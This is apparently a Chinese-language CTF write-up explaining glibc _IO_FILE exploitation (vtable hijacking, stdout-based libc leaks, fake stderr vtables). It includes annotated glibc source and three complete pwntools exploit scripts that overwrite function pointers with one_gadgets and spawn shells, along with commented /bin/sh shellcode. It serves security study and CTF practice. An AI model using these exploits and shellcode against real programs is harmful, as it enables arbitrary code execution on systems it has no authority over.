首先看一波源码:
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
其实进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示
,通过这个值我们可以遍历所有的FILE结构。
在标准的I/O库中,stdin、stdout、stderr是在libc.so的数据段的,而且三个文件流是自动打开的 ,但是fopen创建的文件流则是在堆中,看下符号长什么样:
_IO_2_1_stderr_ _IO_2_1_stdout_ _IO_2_1_stdin_
但是file结构其实只是一小部分,它有个兄弟叫vtable指针,两人一起同属于_IO_File_plus:
struct _IO_FILE_plus { _IO_FILE file; IO_jump_t *vtable; } //32位下的偏移是0x94,而64位下偏移是0xd8
在gdb中调试下看看:
Vtable存着哪些可以跳转的函数指针呢?看看
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
这里自己写了个简单的程序去研究:
可以看到一个简单的puts函数,调用的过程是puts——>IO_file_xsputn——>IO_file_overflow——>.........malloc(“666”)——>write输出666
_IO_FILE_plus 结构中存在 vtable,一些函数会取出 vtable 中的指针进行调用。
因此伪造vtable劫持控制流程的思想就是针对_IO_File_plus的vtable动手脚,通过把vtable指向我们控制的内存,并在其中部署函数指针来实现
所以vtable劫持分为2种,一种是直接改写vtable的函数的指针,通过任意地址写就可以实现。另一种是覆盖vtable的指针为我们控制的内存,然后在其中布置函数指针。
有点不寻常的题目,肯定是新姿势,close关闭的话就无法再输出信息,但是前面给了sleep的真实地址,所以直接泄露出来得到onegadget,同时我们知道exit会调用_IO_2_1_stdout_的sebuf函数,接着就是任意地址写5字节的操作了(假想
成格式化字符串写地址),具体往哪里写呢,先来看下结构体:
可以看到setbuf的偏移为88,那么我们可以伪造vtable指针和setbuf地址,选取IO_2_1_stdout+160作为我们的setbuf的地址,IO_2_1_stdout+160-88就是我们的fake_vtable地址,这样我们一共需要填5次,第一次填写vtable的低2位字节,第二次填写onegadget的低3位字节,由于偏移是不变的,所以直接打:
exp:
#coding=utf8 from pwn import * from libformatstr import FormatStr context.log_level = 'debug' context(arch='amd64', os='linux') local = 1 elf = ELF('./the_end') if local: p = process('./the_end') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147 #onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6 # payload32 = fmtstr_payload(offset ,{xxx_got:system_addr}) # f = FormatStr(isx64=1) # f[0x8048260]=0x45372800 # f[0x8048260+4]=0x7f20 # f.payload(7) #shellcode = asm(shellcraft.sh()) #shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' #shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05' #shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05' sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr))) def bk(addr): gdb.attach(p,"b *"+str(hex(addr))) debug(0x000964) ru("gift ") sleep_addr = int(rc(14),16) print "sleep_addr--->" + hex(sleep_addr) libc_base = sleep_addr - libc.symbols['sleep'] onegadget = libc_base + 0xf02a4 vtable = libc_base + 0x3c56f8 fake_vtable = vtable - 0x90 fake_setbuf = fake_vtable + 88 for i in range(2): sd(p64(vtable+i)) sd(p64(fake_vtable)[i]) for i in range(3): sd(p64(fake_setbuf+i)) sd(p64(onegadget)[i]) p.interactive()
调试看看情况,发现成功改写:
其实这题还可以直接利用exit执行_dl_fini:
我们直接往0x7f6086f14f48 (_rtld_global+3848)写入onegadget的4个字节即可 :
#coding=utf8 from pwn import * from libformatstr import FormatStr context.log_level = 'debug' context(arch='amd64', os='linux') local = 1 elf = ELF('./the_end') if local: p = process('./the_end') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147 #onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6 # payload32 = fmtstr_payload(offset ,{xxx_got:system_addr}) # f = FormatStr(isx64=1) # f[0x8048260]=0x45372800 # f[0x8048260+4]=0x7f20 # f.payload(7) #shellcode = asm(shellcraft.sh()) #shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' #shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05' #shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05' sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr))) def bk(addr): gdb.attach(p,"b *"+str(hex(addr))) debug(0x000964) ru("gift ") sleep_addr = int(rc(14),16) print "sleep_addr--->" + hex(sleep_addr) libc_base = sleep_addr - libc.symbols['sleep'] onegadget = libc_base + 0xf02a4 vtable = libc_base + 0x3c56f8 fake_vtable = vtable - 0x90 fake_setbuf = fake_vtable + 88 free_hook = libc_base + libc.symbols["__free_hook"] fake_got = libc_base + 0x5f0f48 print "fake_got--->" + hex(fake_got) print "onegadget--->" + hex(onegadget) for i in range(5): sd(p64(fake_got+i)) sd(p64(onegadget)[i]) p.interactive()
总结:这种是通过改vtable指针,通过伪造vtable指针来改变跳转。
这里得看一波源码才了解具体的原理:
首先得知道puts函数的函数调用链:
我们知道puts函数在源码中是通过_IO_puts函数的内部调用_IO_sputn实现,结果会执行_IO_new_file_xsputn,最终执行_IO_overflow,我们来看下_IO_puts的源码实现:
int _IO_puts (const char *str) { int result = EOF; _IO_size_t len = strlen (str); _IO_acquire_lock (_IO_stdout); if ((_IO_vtable_offset (_IO_stdout) != 0 || _IO_fwide (_IO_stdout, -1) == -1) && _IO_sputn (_IO_stdout, str, len) == len && _IO_putc_unlocked ('\n', _IO_stdout) != EOF) result = MIN (INT_MAX, len + 1); _IO_release_lock (_IO_stdout); return result; }
_IO_new_file_overflow源码分析:
int _IO_new_file_overflow (_IO_FILE *f, int ch) { if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF;//程序会dang,所以我们不能进入这个if分支,所以f->_flags & _IO_NO_WRITES要等于0,所以flag=0xfbad0000 } /* If currently reading or no buffer allocated. */ if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) ...... ...... //这个分支复杂,最后也会dang,我们不能进去,所以f->_flags & _IO_CURRENTLY_PUTTING=1即可,所以flag=0xfbad0800 } if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); //目标函数,这里执行_IO_do_write会涉及到syscall,相当于write(1,buf,size),由于目的就是泄露地址,所以buf=_IO_write_base就是我们要修改的值,一般将末尾改成'\x00',原本是有值的 if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */ if (_IO_do_flush (f) == EOF) return EOF; *f->_IO_write_ptr++ = ch; if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && ch == '\n')) if (_IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) == EOF) return EOF; return (unsigned char) ch; }
进去do_new_write:
static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do) {//相当于write(1,buf,size) _IO_size_t count; if (fp->_flags & _IO_IS_APPENDING)//要进去的话,flag=0xfbad1800 fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) {//这里虽然可以改,但是如果改成相同的,程序会crash掉,所以要避免进去这个分支 _IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1); if (new_pos == _IO_pos_BAD) return 0; fp->_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); //最终输出,系统调用write if (fp->_cur_column && count) fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1; _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base; fp->_IO_write_end = (fp->_mode <= 0 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) ? fp->_IO_buf_base : fp->_IO_buf_end); return count;//回显出write出来的东西 }
好了,源码解析完毕了,下面就是利用演示了:
这种利用方法针对于没有puts打印函数的情况,但是需要一个前提,就是需要劫持到stdout结构体,一般来说是通过UAF(unsorted bin切割法得到地址,FD指向unsortedbin),接着改FD的main_arena+88的末位(若没有则利用攻击global_max_fast的方式去做,使得有fastbin dump),变成stdout-xx的位置(得有0x7f或者0xff的size,0x7f在0x43的位置,0xff在0x51的位置),下一次申请时就可以从上往下写,改写flag标志位为0xfbad1800固定值,同时修改IO_Write_base末尾为'\x00',在flag位和IO_Write_base位之间填写的东西可以为任意值,我们的目的是下溢改写IO_Write_base。
程序就是常规的菜单题:
我们整理出函数,没有puts打印函数,但是有UAF漏洞,可以free完改FD,也可以double free。
def malloc(index,size): ru("Your choice: ") sl('1') ru("Index: ") sl(str(index)) ru("Size: ") sl(str(size)) def free(index): ru("Your choice: ") sl('3') ru("Index: ") sl(str(index)) def edit(index,size,content): ru("Your choice: ") sl('4') ru("Index: ") sl(str(index)) ru("Size: ") sl(str(size)) ru("Content: ") sd(content)
这里有个问题就是搞到有unsorted_bin的FD指针的堆块,重复利用法:
malloc(0,0x400) malloc(1,0x60) malloc(2,0x20) free(0) malloc(3,0x60) malloc(4,0x60) malloc(5,0x60) free(3) free(4) edit(4,1,'\xe0')
先申请大块chunk,free用切割法得到有main_arena地址的chunk块,然后利用UAF改写FD指针指向我们的有main_arena地址的堆块,接着再edit这个堆块的FD为stdout-xx(成功实现劫持),所以这个块是被使用了两次~
再申请出来就可以改写stdout的标志位和输出位置了。有了真实地址后就可以再次改写FD指针然后改malloc_hook为我们的onegadget,即可getshell。
#coding=utf8 from pwn import * from libformatstr import FormatStr context.log_level = 'debug' context(arch='amd64', os='linux') local = 1 elf = ELF('./fkroman') if local: p = process('./fkroman') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147 #onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6 # payload32 = fmtstr_payload(offset ,{xxx_got:system_addr}) # f = FormatStr(isx64=1) # f[0x8048260]=0x45372800 # f[0x8048260+4]=0x7f20 # f.payload(7) #shellcode = asm(shellcraft.sh()) #shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' #shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05' #shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05' sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr))) def bk(addr): gdb.attach(p,"b *"+str(hex(addr))) def malloc(index,size): ru("Your choice: ") sl('1') ru("Index: ") sl(str(index)) ru("Size: ") sl(str(size)) def free(index): ru("Your choice: ") sl('3') ru("Index: ") sl(str(index)) def edit(index,size,content): ru("Your choice: ") sl('4') ru("Index: ") sl(str(index)) ru("Size: ") sl(str(size)) ru("Content: ") sd(content) def pwn(): malloc(0,0x400) malloc(1,0x60) malloc(2,0x20) free(0) malloc(3,0x60) malloc(4,0x60) malloc(5,0x60) free(3) free(4) edit(4,1,'\xe0') malloc(3,0x60) edit(5,2,'\xdd\x75') # debug(0) malloc(4,0x60) py = '' py += '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00' malloc(5,0x60) edit(5,len(py),py) rc(0x40) libc_base = u64(rc(8)) - 0x3c5600 print "libc_base--->" + hex(libc_base) onegadget = libc_base + 0x4526a fake_chunk = libc_base + libc.symbols["__malloc_hook"] - 0x23 free(1) edit(1,8,p64(fake_chunk)) malloc(1,0x60) malloc(6,0x60) py = '' py += 'a'*0x13 + p64(onegadget) edit(6,len(py),py) malloc(7,0x60) i = 1 while 1: print i i += 1 try: pwn() except Exception as e: p.close() local = 1 elf = ELF('./fkroman') if local: p = process('./fkroman') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') continue else: sl('cat flag') p.interactive()
总结:这里有1/16的概率可以泄露地址来getshell,但是还是比较简单的,写个循环去爆破就好了。
拿byteCTF的那道note_five为例:
这题质量还是挺高的,先来看看保护机制:
保护全开,然后看看ida分析逻辑:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { unsigned int choice; // ST0C_4 __int64 result; // rax init_0(); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { choice = menu(); result = choice; if ( choice != 2 ) break; edit(); } if ( result > 2 ) break; if ( result != 1 ) goto LABEL_12; malloc_0(); } if ( result != 3 ) break; free_0(); } if ( result == 4 ) return result; LABEL_12: puts("bad choice"); } }
常见的菜单题,
这里malloc的大小时unsortedbin的范围,没有fastbin的攻击,继续。
这里看看漏洞点:
edit时存在offbyone,同时没有puts函数可以泄露地址。
攻击思路如下:
1、利用offbyone实现overlap
2、利用overlap实现改BK指针,攻击global_max_fast
3、改FD指针为stdout-0x51,成功实现劫持
4、改结构体从而泄露真实地址
5、然后伪造stderr的vtable,由于程序报错会执行vtable+0x18处的IO_file_overflow函数,所以将这个IO_file_overflow函数改成onegadget
6、malloc很大的块,最后触发IO_file_overflow中的_IO_flush_all_lockp,从而getshell。
这里_wide_data要填我们劫持的地址+1的位置,同时要改_mode为1,表示报错模块。
上exp:
#coding=utf8 from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') local = 1 elf = ELF('./note_five') if local: p = process('./note_five') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147 #onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6 # payload32 = fmtstr_payload(offset ,{xxx_got:system_mallocr}) # f = FormatStr(isx64=1) # f[0x8048260]=0x45372800 # f[0x8048260+4]=0x7f20 # f.payload(7) #shellcode = asm(shellcraft.sh()) #shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' #shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05' #shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05' def bk(mallocr): gdb.attach(p,"b *"+str(hex(mallocr))) def debug(mallocr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+mallocr))) else: gdb.attach(p,"b *{}".format(hex(mallocr))) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def malloc(idx,size): ru("choice>> ") sl('1') ru("idx: ") sl(str(idx)) ru("size: ") sl(str(size)) def free(index): ru("choice>> ") sl('3') ru("idx:") sl(str(index)) def edit(index,content): ru("choice>> ") sl('2') ru("idx: ") sl(str(index)) ru("content: ") sd(content) def pwn(): malloc(0,0xf8) malloc(1,0xf8) malloc(2,0xe8) malloc(3,0xf8) malloc(4,0xf8) free(0) payload = 'c' * 0xe0 + p64(0x2f0) + '\x00' edit(2,payload) free(3) malloc(0,0x2f0 - 0x10) payload = '\x11' * 0xf0 payload += p64(0) + p64(0x101) payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n" edit(0,payload) free(1) global_max_fast = 0x77f8 stdout = 0x77f8 - 0x1229 payload = '\x11' * 0xf0 payload += p64(0) + p64(0x101) payload += p64(0) + p16(0x77f8 - 0x10) + '\n' edit(0,payload) # debug(0) malloc(3,0xf8) malloc(3,0xf8) payload = '\x11' * 0xf0 payload += p64(0) + p64(0x101) payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n" edit(0,payload) free(2) payload = '\x11' * 0xf0 payload += p64(0) + p64(0x101) payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) payload += p16(stdout) + '\n' edit(0,payload) malloc(3,0xe8) malloc(4,0xe8) # debug(0) py = '' py += 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x00' + '\n' edit(4,py) rc(0x40) libc_base = u64(rc(8)) - 0x3c5600 onegadget = libc_base + 0xf1147 print "libc_base--->" + hex(libc_base) system = libc_base + libc.symbols["system"] fake_vtable = libc_base + 0x3c5600-8 binsh = libc_base + libc.search('/bin/sh\x00').next() py = '\x00' + p64(libc_base+0x3c55e0) + p64(0)*3+p64(0x1)+p64(0)+p64(onegadget)+p64(fake_vtable) + '\n' edit(4,py) # trigger abort-->flush malloc(1,1000) i = 0 while 1: print i i += 1 try: pwn() except EOFError: p.close() local = 1 elf = ELF('./note_five') if local: p = process('./note_five') libc = elf.libc continue else: p = remote('121.40.246.48',9999) else: sl("ls") break p.interactive() # p.interactive() # 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) # constraints: # rcx == NULL # 0x4f322 execve("/bin/sh", rsp+0x40, environ) # constraints: # [rsp+0x40] == NULL # 0x10a38c execve("/bin/sh", rsp+0x70, environ) # constraints: # [rsp+0x70] == NULL
总结,IO_File是做堆题目时常用到的很好的方法,掌握泄露地址和改vtable实现控制程序执行流程,受益匪浅。